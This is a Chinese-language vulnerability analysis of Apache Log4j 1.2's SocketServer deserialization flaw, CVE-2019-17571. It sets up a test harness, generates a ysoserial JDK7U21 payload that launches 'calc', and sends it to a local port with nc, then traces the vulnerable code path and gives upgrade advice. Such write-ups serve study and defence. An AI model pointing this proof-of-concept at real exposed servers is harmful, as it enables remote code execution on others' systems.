Apache Log4j 反序列化代碼執行(CVE-2019-17571) 漏洞分析

Apache Log4j 漏洞分析

僅用於研究漏洞原理,禁止用於非法用途,後果自負!!!java

CVE-2019-17571

漏洞描述

Log4j是美國阿帕奇(Apache)軟件基金會的一款基於Java的開源日誌記錄工具。Log4j 1.2版本中包含一個SocketServer類,在未經驗證的狀況下,該SocketServe類很容易接受序列化的日誌事件並對其進行反序列化,在結合反序列化工具使用時,能夠利用該類遠程執行任意代碼。apache

環境搭建

方便測試,添加JDK7U21的漏洞環境bash

  1. 新建Maven項目,pom.xml中添加
<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
</dependencies>
  1. 編寫測試方法
public class CVE_2019_17571 {

    private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
    public static void main(String[] args) {

        System.out.println("start:");

        String[] argss = {"4444", "src/log4j.properties"};

        SimpleSocketServer.main(argss);

        log.info("succ");
    }
}
  1. Ysoserial生成POC(JDK7U21),發送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444

漏洞分析

  • org.apache.log4j.net.SimpleSocketServer#main()
    首先開啓Log4j自帶的SocketServer服務器時,會監聽設置的端口,而後獲取Socket對象,進入SocketNode類進行處理.
  • org.apache.log4j.net.SocketNode
    SocketNode類的構造方法中會對socket接收的數據封裝爲一個Object流對象.
  • org.apache.log4j.net.SocketNode#run()
    在run()方法中直接進行反序列化
    服務器

    漏洞修復

    目前官方已在Apache Log4j 2.8.2版本以後修復了該漏洞,請受影響的用戶升級至2.8.2 或更高的版本進行防禦.socket

    參考

    【威脅通告】Apache Log4j 反序列化遠程代碼執行(CVE-2019-17571)漏洞威脅通告工具

相關文章
相關標籤/搜索